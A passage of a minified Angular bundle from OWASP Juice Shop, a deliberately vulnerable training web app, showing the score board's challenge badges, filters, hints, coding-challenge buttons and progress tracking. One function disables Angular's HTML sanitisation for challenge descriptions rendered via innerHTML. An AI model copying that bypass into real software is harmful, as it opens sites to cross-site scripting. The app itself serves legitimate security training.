",o.dialogData.name,""),t.xp6(3),t.Q6J("selectedIndex",o.tab.value),t.xp6(1),t.Q6J("label",t.lcZ(6,20,"TAB_FIND_IT")),t.xp6(4),t.Q6J("ngIf",null!==o.snippet),t.xp6(1),t.Q6J("ngIf",null===o.snippet),t.xp6(1),t.Q6J("disabled","lock"===o.lockIcon()),t.xp6(4),t.Q6J("ngIf",null!==o.snippet&&null!==o.fixes),t.xp6(3),t.Q6J("ngIf",o.hint&&0===o.tab.value),t.xp6(1),t.Q6J("ngIf",o.explanation&&1===o.tab.value),t.xp6(1),t.Q6J("ngClass",t.VKq(24,Ri,0===o.tab.value)),t.xp6(1),t.Q6J("ngIf",1===o.tab.value),t.xp6(1),t.Q6J("ngIf",o.showFeedbackButtons&&o.solved.fixIt),t.xp6(1),t.Q6J("ngIf",o.showFeedbackButtons&&o.solved.fixIt),t.xp6(1),t.Q6J("mat-dialog-close",o.solved),t.xp6(4),t.hij(" ",t.lcZ(29,22,"BTN_CLOSE"),""),t.xp6(2),t.Q6J("ngIf",0===o.tab.value),t.xp6(1),t.Q6J("ngIf",1===o.tab.value))},dependencies:[h.mk,h.sg,h.O5,u.Pi,p.xw,p.SQ,$.oO,s.YN,s.Kr,F.Hw,f.KE,f.hX,x.lW,T.a8,B.Nt,N.ZT,N.uh,N.xY,N.H8,Mt.SP,Mt.uD,Mt.uX,yi,ki,u.X$],styles:[".stretched-tabs[_ngcontent-%COMP%]{max-width:600px}.code-snippet[_ngcontent-%COMP%]{position:relative}#code-snippet[_ngcontent-%COMP%]{width:65em}.dialog-action[_ngcontent-%COMP%]{display:block;margin-bottom:0!important;padding:0!important;position:relative}.fix[_ngcontent-%COMP%]{bottom:-20px;left:0;position:absolute}.btns[_ngcontent-%COMP%]{display:flex;flex:1;justify-content:flex-end;margin-top:36px}.btns-findit[_ngcontent-%COMP%]{margin-top:16px}.primary-notification[_ngcontent-%COMP%], .warn-notification[_ngcontent-%COMP%], .accent-notification[_ngcontent-%COMP%]{margin-top:16px;width:calc(63em - 157px)}"]}),n})();var ae=c(8423),Ee=c(3162),Me=c(811),De=c(2673),ie=c(7331);function Yi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",3),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.repeatNotification())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",4),t._uU(3,"flag"),t.qZA(),t.TgZ(4,"mat-icon",4),t._uU(5,"check_box"),t.qZA(),t.TgZ(6,"span",5),t._uU(7),t.ALo(8,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".solved")("matTooltip",e.allowRepeatNotifications?t.lcZ(1,5,"NOTIFICATION_RESEND_INSTRUCTIONS"):null),t.xp6(2),t.Q6J("hidden",!e.allowRepeatNotifications),t.xp6(2),t.Q6J("hidden",e.allowRepeatNotifications),t.xp6(3),t.Oqu(t.lcZ(8,7,"STATUS_SOLVED"))}}function Ji(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",6),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.openHint())}),t.TgZ(1,"mat-icon",4),t._uU(2,"book"),t.qZA(),t.TgZ(3,"mat-icon",4),t._uU(4,"check_box_outline_blank"),t.qZA(),t.TgZ(5,"span",5),t._uU(6),t.ALo(7,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".notSolved")("matTooltip",e.showChallengeHints?e.challenge.hint:null),t.xp6(1),t.Q6J("hidden",!e.showChallengeHints||!e.challenge.hintUrl),t.xp6(2),t.Q6J("hidden",e.showChallengeHints&&e.challenge.hintUrl),t.xp6(3),t.Oqu(t.lcZ(7,5,"STATUS_UNSOLVED"))}}function Qi(n,a){if(1&n&&t._UZ(0,"i"),2&n){const e=t.oxw(2);t.Tol("icon-"+(null==e.challenge.disabledEnv?null:e.challenge.disabledEnv.toString().toLowerCase()))}}function Hi(n,a){if(1&n&&t._UZ(0,"i"),2&n){const e=t.oxw(2);t.Tol("fab fa-"+(null==e.challenge.disabledEnv?null:e.challenge.disabledEnv.toString().toLowerCase()))}}function Gi(n,a){if(1&n&&(t.TgZ(0,"button",7)(1,"span"),t.YNc(2,Qi,1,3,"i",8),t.YNc(3,Hi,1,3,"i",8),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".unavailable")("matTooltip",e.challenge.hint),t.xp6(2),t.Q6J("ngIf","Windows"!==e.challenge.disabledEnv),t.xp6(1),t.Q6J("ngIf","Windows"===e.challenge.disabledEnv),t.xp6(1),t.hij(" ",t.lcZ(5,5,"STATUS_UNAVAILABLE")," ")}}O.vI.add(Z.ts2);let ji=(()=>{class n{constructor(e,o){this.challengeService=e,this.windowRefService=o,this.challenge={},this.allowRepeatNotifications=!1,this.showChallengeHints=!0}repeatNotification(){this.allowRepeatNotifications&&this.challengeService.repeatNotification(encodeURIComponent(this.challenge.name)).subscribe(()=>{this.windowRefService.nativeWindow.scrollTo(0,0)},e=>{console.log(e)})}openHint(){this.showChallengeHints&&this.challenge.hintUrl&&this.windowRefService.nativeWindow.open(this.challenge.hintUrl,"_blank")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ot),t.Y36(Vt))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-challenge-status-badge"]],inputs:{challenge:"challenge",allowRepeatNotifications:"allowRepeatNotifications",showChallengeHints:"showChallengeHints"},decls:3,vars:3,consts:[["mat-raised-button","","color","accent","matTooltipPosition","above",3,"id","matTooltip","click",4,"ngIf"],["mat-raised-button","","color","primary","matTooltipPosition","above",3,"id","matTooltip","click",4,"ngIf"],["mat-raised-button","","matTooltipPosition","above",3,"id","matTooltip",4,"ngIf"],["mat-raised-button","","color","accent","matTooltipPosition","above",3,"id","matTooltip","click"],[3,"hidden"],["fxShow","","fxHide.lt-lg",""],["mat-raised-button","","color","primary","matTooltipPosition","above",3,"id","matTooltip","click"],["mat-raised-button","","matTooltipPosition","above",3,"id","matTooltip"],[3,"class",4,"ngIf"]],template:function(e,o){1&e&&(t.YNc(0,Yi,9,9,"button",0),t.YNc(1,Ji,8,7,"button",1),t.YNc(2,Gi,6,7,"button",2)),2&e&&(t.Q6J("ngIf",!o.challenge.disabledEnv&&o.challenge.solved),t.xp6(1),t.Q6J("ngIf",!o.challenge.disabledEnv&&!o.challenge.solved),t.xp6(1),t.Q6J("ngIf",o.challenge.disabledEnv))},dependencies:[h.O5,$.b8,F.Hw,x.lW,Q.gM,u.X$]}),n})();function Ki(n,a){if(1&n&&(t.TgZ(0,"mat-card")(1,"mat-card-title"),t._uU(2),t.ALo(3,"translate"),t.TgZ(4,"small",3),t._uU(5),t.qZA()(),t._UZ(6,"mat-progress-bar",4),t.qZA()),2&n){const e=t.oxw();t.xp6(2),t.hij("",t.lcZ(3,4,"TITLE_CODING_SCORE")," "),t.xp6(3),t.hij("",e.percentCodingChallengesSolved,"%"),t.xp6(1),t.Q6J("color","accent")("value",e.percentCodingChallengesSolved)}}const Tt=function(n){return{num:n}},Wi=function(n){return{tier:n}};function zi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",9),t.NdJ("change",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleDifficulty(r))}),t.ALo(1,"translate"),t.ALo(2,"translate"),t.TgZ(3,"label")(4,"span",28),t.O4$(),t.TgZ(5,"svg",29)(6,"linearGradient",30),t._UZ(7,"stop",31)(8,"stop",32),t.qZA(),t._UZ(9,"path",33),t.qZA(),t.kcU(),t.TgZ(10,"span",34),t._uU(11),t.qZA(),t.TgZ(12,"span"),t._uU(13),t.qZA()()()()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("checked",o.displayedDifficulties.includes(e))("disabled",o.restrictToTutorialsFirst&&e>o.tutorialsTier)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted&&e>o.tutorialsTier?o.isLastTutorialsTier?t.xi3(1,13,"INFO_FULL_CHALLENGE_MODE",t.VKq(19,Tt,o.challenges.length)):t.xi3(2,16,"INFO_NEXT_TUTORIAL_TIER",t.VKq(21,Wi,"\\u2605".repeat(o.tutorialsTier))):""),t.xp6(5),t.Udp("fill","url(#"+e+")"),t.xp6(1),t.Q6J("id",e),t.xp6(1),t.uIk("offset",o.challenges?o.offsetValue[e-1]:"100%"),t.xp6(1),t.uIk("offset",o.challenges?o.offsetValue[e-1]:"100%"),t.xp6(1),t.uIk("fill","inherit"),t.xp6(2),t.Oqu(e),t.xp6(1),t.Tol("fa-layers-counter "+(o.solvedChallengesOfDifficulty[e-1].length===o.totalChallengesOfDifficulty[e-1].length?"accent-notification":0===o.solvedChallengesOfDifficulty[e-1].length?"warn-notification":"primary-notification")),t.xp6(1),t.hij(" ",o.solvedChallengesOfDifficulty[e-1].length+"/"+o.totalChallengesOfDifficulty[e-1].length," ")}}function $i(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",35),t.NdJ("change",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowOnlyTutorialChallenges())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA(),t._uU(4),t.ALo(5,"translate"),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("checked",e.showOnlyTutorialChallenges)("disabled",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted)("matTooltip",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(9,Tt,e.challenges.length)):""),t.xp6(4),t.hij(" ",t.lcZ(5,7,"BTN_SHOW_ONLY_TUTORIALS")," ")}}function Vi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",9),t.NdJ("change",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowDisabledChallenges())}),t.ALo(1,"translate"),t._UZ(2,"i",36),t._uU(3),t.ALo(4,"translate"),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("checked",e.showDisabledChallenges)("disabled",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted)("matTooltip",e.restrictToTutorialsFirst&&!e.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(9,Tt,e.challenges.length)):""),t.xp6(3),t.hij(" ",t.lcZ(4,7,"BTN_SHOW_UNAVAILABLE")," ")}}function Xi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.saveBackup())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," save_alt "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"SAVE_BACKUP_TOOLTIP"))}function tr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",38),t.NdJ("click",function(){t.CHM(e),t.oxw();const i=t.MAs(26);return t.KtG(i.click())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," settings_backup_restore "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"RESTORE_BACKUP_TOOLTIP"))}const er=function(n,a){return{num:n,env:a}};function nr(n,a){if(1&n&&(t._UZ(0,"div",39),t.ALo(1,"translate")),2&n){const e=t.oxw();t.Q6J("innerHTML",t.xi3(1,1,"INFO_DISABLED_CHALLENGES",t.WLB(4,er,e.numDisabledChallenges,e.disabledEnv)),t.oJD)}}function or(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",40),t.NdJ("change",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleShowChallengeCategory(r))}),t.ALo(1,"translate"),t.ALo(2,"translate"),t._uU(3),t.ALo(4,"translate"),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("checked",o.displayedChallengeCategories.includes(e))("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted?t.xi3(1,4,"INFO_FULL_CHALLENGE_MODE",t.VKq(11,Tt,o.challenges.length)):t.lcZ(2,7,"CATEGORY_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(3),t.hij(" ",t.lcZ(4,9,"CATEGORY_"+(null==e?null:e.toUpperCase().split(" ").join("_")))," ")}}function ar(n,a){1&n&&(t.TgZ(0,"mat-header-cell",62),t._uU(1,"LABEL_NAME"),t.qZA())}function ir(n,a){if(1&n&&(t.TgZ(0,"mat-cell",63),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("id",e.name),t.xp6(1),t.hij(" ",e.name," ")}}function rr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",64),t._uU(1,"LABEL_DIFFICULTY"),t.qZA())}function sr(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1," star_rate "),t.qZA())}function lr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",65),t.YNc(1,sr,2,0,"mat-icon",66),t.qZA()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("ngForOf",o.times(e.difficulty))}}function cr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",67),t._uU(1,"LABEL_DESCRIPTION "),t.qZA())}function ur(n,a){if(1&n&&(t.TgZ(0,"mat-cell",68),t._UZ(1,"div",69),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("innerHTML",e.description,t.oJD)}}function pr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",70),t._uU(1,"LABEL_CATEGORY"),t.qZA())}function dr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",71),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",t.lcZ(2,1,"CATEGORY_"+(null==e.category?null:e.category.toUpperCase().split(" ").join("_")))," ")}}function mr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",72),t._uU(1,"LABEL_TAGS"),t.qZA())}function gr(n,a){if(1&n&&(t.TgZ(0,"mat-chip-list")(1,"mat-chip",74),t.ALo(2,"translate"),t._uU(3),t.ALo(4,"translate"),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("matTooltip",t.lcZ(2,2,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(2),t.hij(" ",t.lcZ(4,4,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_")))," ")}}function hr(n,a){if(1&n&&(t.TgZ(0,"span"),t.YNc(1,gr,5,6,"mat-chip-list",66),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.Q6J("ngForOf",e.tags.split(",").sort())}}function _r(n,a){if(1&n&&(t.TgZ(0,"mat-cell",73),t.YNc(1,hr,2,1,"span",5),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.tags)}}function fr(n,a){1&n&&(t.TgZ(0,"mat-header-cell",62),t._uU(1,"LABEL_STATUS"),t.qZA())}function Cr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",81),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.startHackingInstructor(i.name))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}function vr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",83),t.ALo(2,"translate"),t.TgZ(3,"mat-icon"),t._uU(4," policy "),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href",e.mitigationUrl,t.LSH),t.xp6(1),t.Q6J("matTooltip",t.lcZ(2,2,"INFO_VULNERABILITY_MITIGATION_LINK"))}}function xr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",84),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.showCodeSnippet(i.key,i.name,i.codingChallengeStatus))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",85),t._uU(3," code "),t.qZA()()}if(2&n){const e=t.oxw().$implicit,o=t.oxw(2);t.Q6J("disabled","solved"===o.codingChallengesEnabled&&!e.solved)("matTooltip",t.lcZ(1,5,"LAUNCH_CODING_CHALLENGE"))("color",o.generateColor(e))("id",e.name+".codingChallengeButton"),t.xp6(2),t.Q6J("matBadge",o.generateBadge(e))}}function br(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",86),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(3);return t.KtG(i.startHackingInstructor("Coding Challenges"))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",87),t._uU(3," school "),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}function Tr(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._UZ(1,"app-challenge-status-badge",75),t.YNc(2,Cr,4,3,"button",76),t.YNc(3,vr,5,4,"a",77),t.TgZ(4,"div",78),t.ALo(5,"translate"),t.YNc(6,xr,4,7,"button",79),t.qZA(),t.YNc(7,br,4,3,"button",80),t.qZA()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("challenge",e)("allowRepeatNotifications",o.allowRepeatNotifications)("showChallengeHints",o.showChallengeHints),t.xp6(1),t.Q6J("ngIf",o.showHackingInstructor&&!e.solved&&!e.disabledEnv&&e.hasTutorial),t.xp6(1),t.Q6J("ngIf",o.showVulnerabilityMitigations&&e.solved&&e.mitigationUrl),t.xp6(1),t.Q6J("matTooltip",t.lcZ(5,9,"SOLVE_HACKING_CHALLENGE"))("matTooltipDisabled",!e.hasSnippet||"solved"===o.codingChallengesEnabled&&e.solved||"always"===o.codingChallengesEnabled),t.xp6(2),t.Q6J("ngIf",e.hasSnippet&&"never"!==o.codingChallengesEnabled),t.xp6(1),t.Q6J("ngIf","scoreBoardChallenge"===e.key&&o.showHackingInstructor&&e.solved&&"never"!==o.codingChallengesEnabled&&e.codingChallengeStatus<1)}}function Ar(n,a){1&n&&(t.TgZ(0,"mat-header-cell",91),t._uU(1,"LABEL_FEEDBACK"),t.qZA())}function yr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",93)(2,"mat-icon",94),t._uU(3,"thumb_up"),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.name+"&entry.435235279=Hacking+Challenge&entry.1734944650=Yes",t.LSH)}}function Zr(n,a){if(1&n&&(t.TgZ(0,"a",82)(1,"button",93)(2,"mat-icon",95),t._uU(3,"thumb_down"),t.qZA()()()),2&n){const e=t.oxw().$implicit;t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.name+"&entry.435235279=Hacking+Challenge&entry.1734944650=No",t.LSH)}}function wr(n,a){if(1&n&&(t.TgZ(0,"mat-cell",92),t.YNc(1,yr,4,1,"a",77),t.YNc(2,Zr,4,1,"a",77),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.solved),t.xp6(1),t.Q6J("ngIf",e.solved)}}function Sr(n,a){1&n&&(t.ynx(0,88),t.YNc(1,Ar,2,0,"mat-header-cell",89),t.YNc(2,wr,3,2,"mat-cell",90),t.BQk())}function kr(n,a){1&n&&t._UZ(0,"mat-header-row")}function Ir(n,a){1&n&&t._UZ(0,"mat-row")}function Or(n,a){if(1&n&&(t.TgZ(0,"mat-table",41),t.ynx(1,42),t.YNc(2,ar,2,0,"mat-header-cell",43),t.YNc(3,ir,2,2,"mat-cell",44),t.BQk(),t.ynx(4,45),t.YNc(5,rr,2,0,"mat-header-cell",46),t.YNc(6,lr,2,1,"mat-cell",47),t.BQk(),t.ynx(7,48),t.YNc(8,cr,2,0,"mat-header-cell",49),t.YNc(9,ur,2,1,"mat-cell",50),t.BQk(),t.ynx(10,51),t.YNc(11,pr,2,0,"mat-header-cell",52),t.YNc(12,dr,3,3,"mat-cell",53),t.BQk(),t.ynx(13,54),t.YNc(14,mr,2,0,"mat-header-cell",55),t.YNc(15,_r,2,1,"mat-cell",56),t.BQk(),t.ynx(16,57),t.YNc(17,fr,2,0,"mat-header-cell",43),t.YNc(18,Tr,8,11,"mat-cell",58),t.BQk(),t.YNc(19,Sr,3,0,"ng-container",59),t.YNc(20,kr,1,0,"mat-header-row",60),t.YNc(21,Ir,1,0,"mat-row",61),t.qZA()),2&n){const e=t.oxw();t.Q6J("dataSource",e.filterToDataSource(e.challenges))("trackBy",e.trackById),t.xp6(19),t.Q6J("ngIf",e.showFeedbackButtons),t.xp6(1),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function Ur(n,a){1&n&&(t._UZ(0,"mat-card",100),t.ALo(1,"translate")),2&n&&t.Q6J("innerHTML",t.lcZ(1,1,"CALL_FOR_CONTRIBUTIONS"),t.oJD)}const Lr=function(n,a){return{appname:n,questionnaire:a}};function Pr(n,a){if(1&n&&(t._UZ(0,"mat-card",101),t.ALo(1,"translate")),2&n){const e=t.oxw(2);t.Q6J("innerHTML",t.xi3(1,1,"CALL_FOR_FEEDBACK",t.WLB(4,Lr,e.appName,e.questionnaireUrl)),t.oJD)}}function Nr(n,a){if(1&n&&(t.TgZ(0,"div",96),t.YNc(1,Ur,2,3,"mat-card",97),t._UZ(2,"span",98),t.YNc(3,Pr,2,7,"mat-card",99),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngIf",e.showContributionInfoBox),t.xp6(2),t.Q6J("ngIf",e.questionnaireUrl)}}O.vI.add(g.Tab,D.fG,Z.hV2,Z.zhw,Z.g7i,g.kWN,g.Mm7);let Er=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt){this.configurationService=e,this.challengeService=o,this.codeSnippetService=i,this.sanitizer=r,this.ngZone=l,this.io=m,this.spinner=v,this.translate=A,this.localBackupService=q,this.dialog=Y,this.route=dt,this.availableDifficulties=[1,2,3,4,5,6],this.displayedDifficulties=[1],this.availableChallengeCategories=[],this.displayedChallengeCategories=[],this.toggledMajorityOfDifficulties=!1,this.toggledMajorityOfCategories=!0,this.showSolvedChallenges=!0,this.numDisabledChallenges=0,this.showDisabledChallenges=!1,this.showOnlyTutorialChallenges=!1,this.restrictToTutorialsFirst=!1,this.allTutorialsCompleted=!1,this.isLastTutorialsTier=!1,this.tutorialsTier=1,this.displayedColumns=["name","difficulty","description","category","tags","status"],this.offsetValue=["100%","100%","100%","100%","100%","100%"],this.allowRepeatNotifications=!1,this.showChallengeHints=!0,this.showVulnerabilityMitigations=!0,this.codingChallengesEnabled="solved",this.showHackingInstructor=!0,this.challenges=[],this.percentChallengesSolved="0",this.percentCodingChallengesSolved="0",this.solvedChallengesOfDifficulty=[[],[],[],[],[],[]],this.totalChallengesOfDifficulty=[[],[],[],[],[],[]],this.showContributionInfoBox=!0,this.questionnaireUrl="https://forms.gle/2Tr5m1pqnnesApxN8",this.appName="OWASP Juice Shop",this.localBackupEnabled=!0,this.showFeedbackButtons=!0}ngAfterViewInit(){const e=this.route.snapshot.queryParams.challenge;if(e)if(document.getElementById(e))this.scrollToChallenge(e);else{const i=new MutationObserver(r=>{for(const l of r)"childList"===l.type&&document.getElementById(e)&&(this.scrollToChallenge(e),i.disconnect())});i.observe(document.body,{childList:!0,subtree:!0})}}ngOnInit(){this.spinner.show(),this.displayedDifficulties=localStorage.getItem("displayedDifficulties")?JSON.parse(String(localStorage.getItem("displayedDifficulties"))):[1],this.showSolvedChallenges=!localStorage.getItem("showSolvedChallenges")||JSON.parse(String(localStorage.getItem("showSolvedChallenges"))),this.showDisabledChallenges=!!localStorage.getItem("showDisabledChallenges")&&JSON.parse(String(localStorage.getItem("showDisabledChallenges"))),this.configurationService.getApplicationConfiguration().subscribe(e=>{this.allowRepeatNotifications=e.challenges.showSolvedNotifications&&e.ctf?.showFlagsInNotifications,this.showChallengeHints=e.challenges.showHints,this.showVulnerabilityMitigations=e.challenges.showMitigations,this.codingChallengesEnabled=e.challenges.codingChallengesEnabled,this.showHackingInstructor=e.hackingInstructor?.isEnabled,this.showContributionInfoBox=e.application.showGitHubLinks,this.showFeedbackButtons=e.challenges.showFeedbackButtons,this.showFeedbackButtons&&this.displayedColumns.push("feedback"),this.questionnaireUrl=e.application.social?.questionnaireUrl,this.appName=e.application.name,this.restrictToTutorialsFirst=e.challenges.restrictToTutorialsFirst,this.showOnlyTutorialChallenges=localStorage.getItem("showOnlyTutorialChallenges")?JSON.parse(String(localStorage.getItem("showOnlyTutorialChallenges"))):this.restrictToTutorialsFirst,this.localBackupEnabled=e.application.localBackupEnabled,this.challengeService.find({sort:"name"}).subscribe(o=>{this.codeSnippetService.challenges().subscribe(i=>{this.challenges=o;for(let r=0;r<this.challenges.length;r++)this.augmentHintText(this.challenges[r]),this.trustDescriptionHtml(this.challenges[r]),"Score Board"===this.challenges[r].name&&(this.challenges[r].solved=!0),this.availableChallengeCategories.includes(o[r].category)||this.availableChallengeCategories.push(o[r].category),this.showHackingInstructor&&Promise.resolve().then(c.bind(c,1096)).then(l=>{o[r].hasTutorial=l.hasInstructions(o[r].name)}),o[r].hasSnippet=i.includes(o[r].key);this.availableChallengeCategories.sort((r,l)=>r.localeCompare(l)),this.displayedChallengeCategories=localStorage.getItem("displayedChallengeCategories")?JSON.parse(String(localStorage.getItem("displayedChallengeCategories"))):this.availableChallengeCategories,this.calculateProgressPercentage(),this.calculateCodingProgressPercentage(),this.populateFilteredChallengeLists(),this.calculateGradientOffsets(o),this.calculateTutorialTier(o),this.toggledMajorityOfDifficulties=this.determineToggledMajorityOfDifficulties(),this.toggledMajorityOfCategories=this.determineToggledMajorityOfCategories(),this.showOnlyTutorialChallenges&&this.challenges.sort((r,l)=>r.tutorialOrder-l.tutorialOrder),this.spinner.hide()})},o=>{this.challenges=[],console.log(o)})},e=>{console.log(e)}),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{if(e?.challenge){for(let o=0;o<this.challenges.length;o++)if(this.challenges[o].name===e.name){this.challenges[o].solved=!0;break}this.calculateProgressPercentage(),this.populateFilteredChallengeLists(),this.calculateGradientOffsets(this.challenges),this.calculateTutorialTier(this.challenges)}})})}scrollToChallenge(e){const o=document.getElementById(e);o?(console.log(`Scrolling to challenge: ${e}`),o.scrollIntoView({behavior:"smooth"})):console.log(`Challenge ${e} is not visible!`)}augmentHintText(e){e.disabledEnv?(this.numDisabledChallenges++,this.disabledEnv=e.disabledEnv,this.translate.get("CHALLENGE_UNAVAILABLE",{env:e.disabledEnv}).subscribe(o=>{e.hint=o},o=>{e.hint=o})):e.hintUrl&&(e.hint?this.translate.get("CLICK_FOR_MORE_HINTS").subscribe(o=>{e.hint=`${e.hint} ${o}`},o=>{e.hint=`${e.hint} ${o}`}):this.translate.get("CLICK_TO_OPEN_HINTS").subscribe(o=>{e.hint=o},o=>{e.hint=o}))}trustDescriptionHtml(e){e.description=this.sanitizer.bypassSecurityTrustHtml(e.description)}calculateCodingProgressPercentage(){let e=0,o=0;for(let i=0;i<this.challenges.length;i++)this.challenges[i].hasSnippet&&(e++,o+=this.challenges[i].codingChallengeStatus);this.percentCodingChallengesSolved=(100*o/(2*e)).toFixed(0)}calculateProgressPercentage(){let e=0;for(let o=0;o<this.challenges.length;o++)e+=this.challenges[o].solved?1:0;this.percentChallengesSolved=(100*e/this.challenges.length).toFixed(0)}calculateTutorialTier(e){this.allTutorialsCompleted=!0,this.isLastTutorialsTier=!0,this.tutorialsTier=1;for(let o=1;o<=6;o++){const i=e.filter(l=>l.tutorialOrder&&l.difficulty===o).length,r=e.filter(l=>l.tutorialOrder&&l.difficulty===o&&l.solved).length;this.allTutorialsCompleted=this.allTutorialsCompleted&&i===r,this.tutorialsTier===o&&i===r&&this.tutorialsTier++}if(!this.allTutorialsCompleted){this.isLastTutorialsTier=0===e.filter(o=>o.tutorialOrder&&!o.solved&&o.difficulty>this.tutorialsTier).length;for(let o=1;o<=this.tutorialsTier;o++)this.displayedDifficulties.includes(o)||this.toggleDifficulty(this.tutorialsTier)}}calculateGradientOffsets(e){for(let o=1;o<=6;o++)this.offsetValue[o-1]=this.calculateGradientOffset(e,o)}calculateGradientOffset(e,o){let i=0,r=0;for(let m=0;m<e.length;m++)e[m].difficulty===o&&(r++,e[m].solved&&i++);let l=Math.round(100*i/r);return l=100-l,+l+"%"}toggleDifficulty(e){this.displayedDifficulties.includes(e)?this.displayedDifficulties=this.displayedDifficulties.filter(o=>o!==e):this.displayedDifficulties.push(e),localStorage.setItem("displayedDifficulties",JSON.stringify(this.displayedDifficulties)),this.toggledMajorityOfDifficulties=this.determineToggledMajorityOfDifficulties()}toggleAllDifficulty(){this.toggledMajorityOfDifficulties?(this.displayedDifficulties=[],this.toggledMajorityOfDifficulties=!1):(this.displayedDifficulties=this.availableDifficulties,this.toggledMajorityOfDifficulties=!0),localStorage.setItem("displayedDifficulties",JSON.stringify(this.displayedDifficulties))}toggleShowSolvedChallenges(){this.showSolvedChallenges=!this.showSolvedChallenges,localStorage.setItem("showSolvedChallenges",JSON.stringify(this.showSolvedChallenges))}toggleShowDisabledChallenges(){this.showDisabledChallenges=!this.showDisabledChallenges,localStorage.setItem